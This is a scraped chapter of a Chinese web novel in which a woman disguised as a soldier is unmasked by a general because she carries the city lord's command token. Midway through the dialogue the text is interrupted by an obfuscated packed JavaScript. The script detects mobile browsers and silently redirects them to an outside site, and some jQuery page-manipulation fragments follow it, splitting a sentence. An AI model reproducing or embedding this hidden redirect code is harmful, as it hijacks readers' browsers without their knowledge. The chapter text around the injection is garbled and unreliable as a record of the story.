默认冷灰
24号文字
方正启体

14. 秘密

作者:摇惊枝本书字数:K更新时间:
    “当然是你身上有……”


    令牌二字吴祺憋在嘴里。


    从他午时三刻带着令牌回营到申时正刻将军已禁令传言,能知道他身上有令牌的也只有今日他见着他的门候和伙房营的人。


    夏语心还不知晓此事。


    而今日进山捕猎一事纯属不知者不罪。


    可不管怎样说,是自己犯了军中律令。从长远权衡,不能刚进军营就犯下如此莽撞之嫌的低级错误。


    思虑再三,夏语心火速回伙房营找了根大小适中的棒子,别在腰间,负荆请罪来到将军帐下,主动奉上棒子。


    祁夜欢见她这般,两步当作一步从书案后迎上前,拿掉她手上自备而来的剂杖,伸手引她入上座,“夫人何罪之有?”


    啊?


    夫人?


    怎么转眼就成了夫人?


    夏语心暗自一怔。


    祁夜欢又抬手礼请,“城主夫人!”


    怎么又城主夫人了?


    是不是刚才自摸那一下,真的被看出了什么?


    可也不能因这个就叫自己城主夫人。


    夏语心还礼道:“卑职不敢。将军、这是何意?”


    祁夜欢执意引她上座,“早闻城主有佳人,貌似碧如玉,气似灵犀辟尘。今日有幸相见,夫人果然非凡俗女子可媲美。”


    什么叫早闻?


    夏语心听得满脑子浆糊。


    而且将军把自己说得比桃花还艳丽,比皎月还惊人。可她低头往自己身上一看,一身戎衣全副武装,他能从哪里看出?


    难不成还真是自摸那一下被他看出了名堂?


    “卑职穿成这样,将军也能看出与众不同,如此……将军真是火眼金睛。”


    “夫人这是在夸赞末将?”


    祁夜欢早识破她的身份,神态悠然看着她。


    夏语心矢口而出,“当然不是。”


    突然反应这是变相承认了自己的身份,夏语心又急忙更口,“卑职的意思不是夸,是如实说。”


    管她夸诮也好,赞扬也罢,祁夜欢淡淡地笑了笑,魁梧之躯宛如峰脉,铠甲墨发高束,微微躬身,再次引她上座。


    “将军客气。”


    夏语心原地拱手还礼,只见祁夜欢一直躬身礼请,是不罢休了?


    那个位置又岂能随便坐?


    夏语心恭敬地退后一步,“卑职谢将军!卑职何德何能敢上座?卑职原以为……做将军的只会打仗,想不到将军礼数周全不说,夸起来人更是不逊战场英姿,铜唇铁舌,口吐莲花。相比较,卑职这副嘴笨拙多了,面对将军一番赞誉竟不知如何回答是好。更不知将军是如何知晓、卑职身份的?”


    夏语心不信单从她自摸那一下就能被看出身份。


    祁夜欢转身坐回书案前,缓缓道:“夫人放心便是。末将虽看出夫人女儿身,但定会为夫人保守秘密,绝不会让营中其他将士知晓。”


    “那我还得多谢将军。”


    夏语心揖了揖礼,“将军大可不必这样称我为夫人,今日……卑职擅作主张让军中将士进山捕猎,卑职是特为此前来向将军请罪。”


    可自己带来的剂杖已被收走,祁夜欢放在了他书案展架下方藏了起来,好似怕别人瞧见他动用刑仗一样,漫不经心地饮着茶水,看着她,“今日之事不算夫人擅作主张。末将此前虽是下令不准将士们进山捕猎,是指不得捕杀一切大型食肉兽类,今日捕回的野彘、獾子均为素食兽类,无妨。”


    吴家兄弟今日捕回的确是只有野彘、獾子这样一些小型动物。还好大家没有误食。


    不过,他称自己夫人,夏语心始终不解。可抬眼,却见祁放欢书案后放着的大坨肉根本还没有动。


    那可是帐前侍卫将野彘身上堪称皇帝肉的松板肉拿来孝敬他的。


    他嘴上说着无妨,实际却一口不吃,分明是嫌弃,抑或嘴上不责罚,心里……


    “嗯,好肉!”


    祁夜欢突然大口吃了起来,一只手酒樽,一只手大肉,烈酒下肉,美滋美哉。


    夏语心不由愣了下,但看得出,他好像没有嚼,烈酒就肉,一口闷,这样就吃不出肉的味道。


    说白了还是心有忌讳,难以下口。


    “今日是卑职不是,卑职以后定当严守律令,决不再叫将军、如此为难。”


    “何其难哉?”


    祁夜欢拭了拭手上汕渍,起身递来酒樽,“好酒配好肉,美酒配……”


    佳人。


    “美酒配英雄。”


    夏语心稍一迟徊,爽快地接过酒樽。


    “对得好,佳人本配英雄。”祁夜欢抬臂,轻轻举了举酒樽,“军中不可酗酒,夫人今日饮下此盏,日后便依夫人所言,我自不必再称之为城主夫人。请!”


    祁夜欢一饮而尽。


    “将军为帅,卑职为卒,身在营中只有将军士卒。卑职谢将军!”


    以示诚意,夏语心刚要一口干。祁夜欢伸手压住她酒樽,“女子多为不善饮酒,姑娘浅饮即可。”


    说到做到,祁夜欢即刻改口叫了姑娘。


    夏语心豪爽道:“寒犹幸可沃以酒,酒香扑鼻,唯此静爱。卑职敬将军!”


    前世三五两白酒不在话下,眼下樽中浊酒估摸不过二半,完全拿得住。夏语心仰面一口干,可瞬间噗的一声呛了出来。


    此酒过喉蹿出一股喷火似的辣味,始料不及如此甘烈。夏语心辣得眼泪都快出来了,手边茶盏轻轻碰了下,祁夜欢递来清茶。夏语心故作镇定地摆了摆手,用力咽回嘴里剩下的酒,盛赞,“好烈的酒!”


    入口香醇,落口浓烈,饮后灼心灼肺。不说喝三五两,能喝下二两也是英雄。


    夏语心暗暗吁了口气。


    看她脸颊烧得通红,祁夜欢将清茶放在她身前几案上,“安得成军如娘子,姑娘好酒量。只是,这酒为军中将士驱寒之物,姑娘能一口饮下二两,末将佩服。”


    二两?


    夏语心顿时一惊,难怪那一口下去心里跟着了火一样难受,原来一口就饮了二两。


    可见着祁夜欢说话工夫就喝了两樽,夏语心尴尬地笑了笑,“将军才是好酒量,应该喝有一壶了吧?”


    祁夜欢自酌自饮,也不知喝了多少。夏语心拿起酒壶晃了晃,空的,少说饮了一壶,一壶少说有十两。


    一斤!


    那肉也吃完了,祁夜欢移步坐到书案前的将军掎上,身子微倾,小寐起来,似有微熏。


    一阵烫,一阵热,好在还清醒,办正事要紧。


    军中禁令捕猎不是难事,大不了以后不进山捕猎就是了。可眼下冰天雪地,寻药治病才是难点,且还未解决,祁夜欢不能睡。


    夏语心揉了揉脸巴,移步上前,试声问道:“将军、可还清醒?”


    “未醉。”


    声音带着几分慵沉,好像证明自己真的没有醉,祁夜欢闭上的眼睛缓缓睁开,倦容肉眼可见,起身走到营帐一角,闭目听着帐外安静的夜晚。


    “今晚,军营格外安静,无老人小孩凄烈的病吟声,大家皆可安稳睡一个好觉。末将多谢姑娘带回药材。”


    说着,祁夜欢睁开眼睛,看向她,“姑娘在军中两载,末将却不识得姑娘真才,姑娘又如何称末将为火眼金睛?”


    可那并非赞扬之辞,想来他也听了出来,现下又重提,想必是有其他话要说。夏语心略一笑,“将军是在故意打趣卑职吗?”


    “当然不是。”


    祁夜欢只字不差引用了她的话,却比她多几分真诚,不像她那般巧言善辩。


    夏语心讪然一笑,果然一报还一报。


    那壶浊酒下肚后,后劲上来,祁夜欢脚下有些虚晃,转身又坐回书案前,将话意说明,“本将是言姑娘有心了。”


    夏语心不胜惶恐,别人若拿其它事来夸自己尚能接受一二。可若拿医治灾民一事来褒奖赞誉,她受之有愧。这原本就是她自己与温孤长羿的一场交易,虽不完全如此,但也占据了主导因素。


    “卑职一介民女,进入军营,最初只是为避□□落街头来混口饭吃。眼下,只愿能帮上困于营中的灾民和所需将士平安渡过这场厄劫,免去大家饱受病痛之苦,便是我最大的心愿了。”


    “然后呢?”


    “然后?”


    祁夜欢目光微闪,穿过微弱的烛光看着她,“……姑娘既有采药治病的本领,为何到今日才愿出手?”


    不是自己今日才愿出手,是自己今日才到营中。


    原主棠溪颜流浪在外时,倒是从江湖郎中那里学得些民间偏方,可也仅用于止血消肿治痢疾一些常见小病。


    现下是瘟病,若说是此前从江湖郎中那里学来的皮毛,不敢班门弄斧,那之后再去采药熬制汤,估计就很难有人愿意积极配合了。如此一来,与温孤长羿谈成的一年之约便很难完成。


    夏语心心生一计,那就只能牺牲一下温孤长羿了。


    “将军误会,卑职并非一入军营就有采药治病的本领——有是有一些本领傍身,但治不住眼下顽疾。是前几日,城主大人他、突然将卑职带走,然后教了卑职一些治病救急的良方,然后还拿着医书照本宣科,从上面教会卑职采药草。有城主大人亲自传教,再加上卑职此前略懂些皮毛功夫,卑职这才将药草给采了回来。”


    “是吗?”


    祁夜欢一手支颐,看着忽明忽暗的烛火下她那张神色不惊的脸。


    为证实所言非虚,夏语心只能拿出令牌,主动呈上佐证,“这令牌……城主大人只是暂时交由卑职傍身,方便卑职在军中行事。不然、凭卑职一人之力,薄弱又渺小,根本无法完成医治军中灾民和所需将士的任务。还有卑职一人进山采药,属实也害怕呀!”


    害怕二字瞬间道出了女子的胆小害怕。


    关键时候当适示弱,也不失为良计。


    祁夜欢看了看,“姑娘人前肝胆过人,人后仍是未出阁的弱女子,怕才是正常。”


    女子本弱,便是这个道理。


    夏语心为难地笑了笑,“卑职怕虽怕,可事情总还是要去做的。其实……至于城主他为何要卑职这么做,卑职想、估计他是心有惭愧,更准确些是心有不甘。毕竟卑职是他的聘妻,他却把卑职装扮成这样送进大营——施粥虽是好事,卑职也愿意做行善积德、救灾恤患的好人。可这军中严禁女子进入,卑职本是女儿身,他这样做,于情于理都是不妥的,然后……我就想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717012|189370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着不要他了,他便不依不饶,给我下如此艰巨的任务。我身在这营中,原本无人认得,可如今要不是令牌出现,将军?”


    祁夜欢嘴角浮出笑意,“姑娘说的是城主的不是,实则是在问末将,是如何得知姑娘身份的?”


    果然不愧是将军。


    夏语心略有尴尬,“是将军好眼力。城主他、其实从末将卑职当女子看待,所以将卑职女扮男装送进军营。卑职之前生病离开后本来是不打算再回来的,可、可……”


    实在编不下去了,再编就露馅了。


    夏语心探来探去,大脑飞速运转中,“城主他传给卑职一点本领,就想着又叫卑职回来替他医治军中顽疾,根本是不会顾及卑职一介弱女子如何能做到。还有,这进山采药,他也根本不担心卑职会不会被猛兽吃掉。还好将军体恤下属,不然以卑职今日犯下的错误,只怕早被赶出大营。如此一来,城主大人交代卑职的事情,卑职只怕是无法完成。然后……所以,卑职今日之所以让人进山捕猎,想的便是……一改善一下军民生活,二最重要的,是想把山里的猛兽消灭掉一部分,好方便日后进山去采药。”


    倒是说的滴水不漏。


    祁夜欢半倚将军椅,继续听着,却不说是他如何知晓她身份的。


    夏语心:“卑职知道,这样在背后道人事非,实乃小人行为。但城主他对卑职是没有良心的。此前将卑职放在营中两载不闻不管,眼下……卑职的任务是尽快治好军中顽疾,然后向城主交出一份满意答卷。”


    “然后?”


    祁夜欢又追着问。


    然后当然是各走一方。


    夏语心暗自道。


    但此话是个人秘密,不可说。


    祁夜欢:“姑娘此后是想与城主互不往来?可城主秘密将姑娘送进大营,依末将所见,其中定然有他人参不透的考量。城主行事周全,他将令牌交于姑娘,便已声明,姑娘是他的人。见令牌如见城主,凡军中将领人人知晓。除此还有另一项鲜为人知的令规——除城主,只有城主夫人可执此令牌号令三军将领。如此足以说明,城主大人对姑娘的心意并非如姑娘所言,是没良心的,反倒是可见城主之心朝朝如日月,无可藏匿。姑娘对城主可存有什么误解?”


    误解倒是没有,可一块令牌怎还会有如此规矩?”


    夏语心看着手上的令牌,顿觉它不香了,像烫手山芋,直问:“这破规矩,是谁制定的?”


    祁夜欢娓娓道来:“此前老城主在时,便有了这项令规。后来邑安城内瘟疫爆发,老城主染病卧床,便由老夫人执此令牌于三军主将前将城主之位传于少城主。此令牌是城主传袭之物,亦是城主号令三军之物,只有城主及城主夫人执掌生效。”


    原来如此。


    夏语心瞬间恍然,难怪温孤长羿知道自己偷了他令牌波澜不惊,也没有要抢回去的意思,最后和他谈及一年之约都爽快答应,原来这里大有秘密。


    他说的众人皆知,原来是这个意思。


    夏语心翻来覆去看着手上令牌,祁夜欢提及老城主,可她搜遍原主记忆也没有关于老城主的信息。所以,自己完全不知道令规。所以,会被坑得这样惨。


    难怪先前偷了令牌,见温孤长羿一遍遍答应得干脆爽快,心里反倒莫名地觉得不安。


    原来……


    夏语心欲哭无泪。


    看她如此表情,分不清是要哭还是要笑。祁夜欢反倒笑起来,“姑娘还能说城主是没有良心?若说城主对姑娘无心,城主又如何会将此等重要之物拿予姑娘傍身?姑娘拿着令牌来,末将细细琢磨,开始不得其解,后来便知晓了姑娘身份。末将从不知姑娘生得如何,但早闻城主有佳人,貌美无双。”


    早闻?


    温孤长羿此前说众人皆知,她根本不信,因为原主在坊间从未听过这样的传言。


    此刻一想,恐怕是温孤长羿自己美化的,然后在三军面前宣扬。


    “当真是所有人都知道这令规?”


    夏语心不禁问道。


    祁夜欢摇头,“并非如此,这只是一项不成文的令规。能知晓令规者也只有三军为数不多的几员大将,皆是军中亲信,而大多将士只知令牌为三军兵符。以树军纪,至老城主退位后,此令规便被城主严禁流传。城主所为,想来这令牌除姑娘一人,恐怕再无他人可肖想。城主是不想因一块令牌,惹得世间女子都想着入城主府为妻为婢。”


    听罢,夏语心这才松了口气,“既然知晓的人不多,那我就放心了。”


    祁夜欢却是神色微动,“姑娘方才、是担忧知晓令规的人太多,城主往后还会娶别人?”


    “啊?将军误会。卑职放心的原因……城主他爱娶谁娶谁,跟卑职没有关系,卑职的意思是,不会有外人知晓卑职身份,那卑职就放心了,免得拿着令牌,人人知晓卑职女扮男装。而且,还和城主……往后做起事来实在不方便。”


    “未将明白。”


    祁夜欢难得一笑。


    “姑娘大可不必为此忧心。姑娘不想让人知晓的事,末将自然不会让人知晓。”


    “那今日、卑职和将军说的这些话,尤其是说城主的那些话,将军应该不会去和城主说吧?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)